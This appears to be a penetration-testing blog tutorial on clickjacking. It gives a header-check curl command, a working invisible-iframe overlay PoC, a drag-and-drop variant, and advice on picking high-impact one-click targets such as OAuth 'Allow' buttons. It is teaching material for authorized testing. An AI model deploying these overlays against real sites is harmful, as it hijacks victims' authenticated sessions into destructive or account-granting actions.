cd ../blog

Clickjacking: Stealing Clicks Through a Transparent Overlay

When a sensitive page can be framed, an attacker overlays it invisibly and hijacks the victim's clicks into privileged actions. We cover framability testing and a working overlay PoC.

Clickjacking (UI redressing) tricks a victim into clicking something different from what they perceive. The attacker loads the target page in an invisible frame, positions a decoy underneath, and the victim's click on the decoy actually lands on a sensitive button inside the framed application — all while authenticated by their own cookies.

Where it hides

Two conditions make a page exploitable: it must be framable (no headers stopping it from loading in an iframe) and it must contain a one-or-few-click sensitive action. Hunt for:

  • Single-click state changes: "Delete account", "Confirm payment", "Make public", "Authorize app".
  • Toggle switches for security or privacy settings.
  • OAuth/consent screens with an "Allow" button.
  • "Add admin", "transfer", or "approve" actions reachable in a click or two.

The framability check is the whole discovery step — inspect the response for the headers that block framing and confirm their absence:

curl -s -D- -o /dev/null https://app.example.com/account/settings \
  | grep -iE 'x-frame-options|content-security-policy'

If there is no X-Frame-Options and no frame-ancestors directive in a Content-Security-Policy, the page can be framed by any origin. Confirm directly by loading it in a minimal iframe and checking it renders rather than refusing:

<iframe src="https://app.example.com/account/settings" width="1000" height="800"></iframe>

If the framed page appears (and you are logged in to it in the same browser), it is clickjackable. A page that uses frame-ancestors 'self' or X-Frame-Options: DENY will show a blank/blocked frame instead.

Reproducing it

The PoC overlays the target invisibly and lures a click onto the sensitive control. Position the iframe so the dangerous button sits exactly under your decoy, then make the frame transparent:

<!doctype html>
<style>
  #target {
    position: absolute; top: 0; left: 0;
    width: 1000px; height: 800px;
    opacity: 0.0;                 /* invisible — set to 0.3 while aligning */
    z-index: 2;
  }
  #decoy {
    position: absolute; top: 360px; left: 420px;  /* aligned under the real button */
    z-index: 1; font-size: 22px;
  }
</style>

<div id="decoy">Click here to claim your free prize</div>
<iframe id="target" src="https://app.example.com/account/settings"></iframe>

While building it, set opacity: 0.3 so you can see the real button and drag the decoy until "Click here..." sits precisely over, say, the "Delete account" button; then set opacity back to 0. When a logged-in victim clicks the decoy, the click passes through to the framed button and the action executes in their session. The resulting state change is the proof.

For multi-step flows, chain several decoys, or use a drag-based variant. Drag-and-drop clickjacking abuses the fact that drag operations cross frame boundaries — lure the victim to drag a "puzzle piece" that actually drops attacker text into a framed input:

<div draggable="true" ondragstart="event.dataTransfer.setData('text','attacker@evil.com')">
  Drag me to start the game
</div>
<iframe src="https://app.example.com/account/settings"></iframe>

A related trick, likejacking, frames a social "follow/like/authorize" button so a single hijacked click grants the attacker a follow or an app authorization.

Going further

Impact equals whatever the hijacked click triggers, so target the highest-value single-click action you can frame:

  • An OAuth "Allow" button — one click grants an attacker app access to the victim's account.
  • A "delete" or "make public" action that destroys or exposes data.
  • A security toggle (disable 2FA prompt, add trusted device) that softens the account for a follow-up.

A useful recon pass is to curl every authenticated page for the framing headers and list the ones missing both — then, for each, note whether it holds a one-click sensitive control. That intersection is your exploitable set. Capture the framing-header check, the overlay PoC, and the action that executed from the hijacked click. Test only on authorized targets and use an account you control as the victim.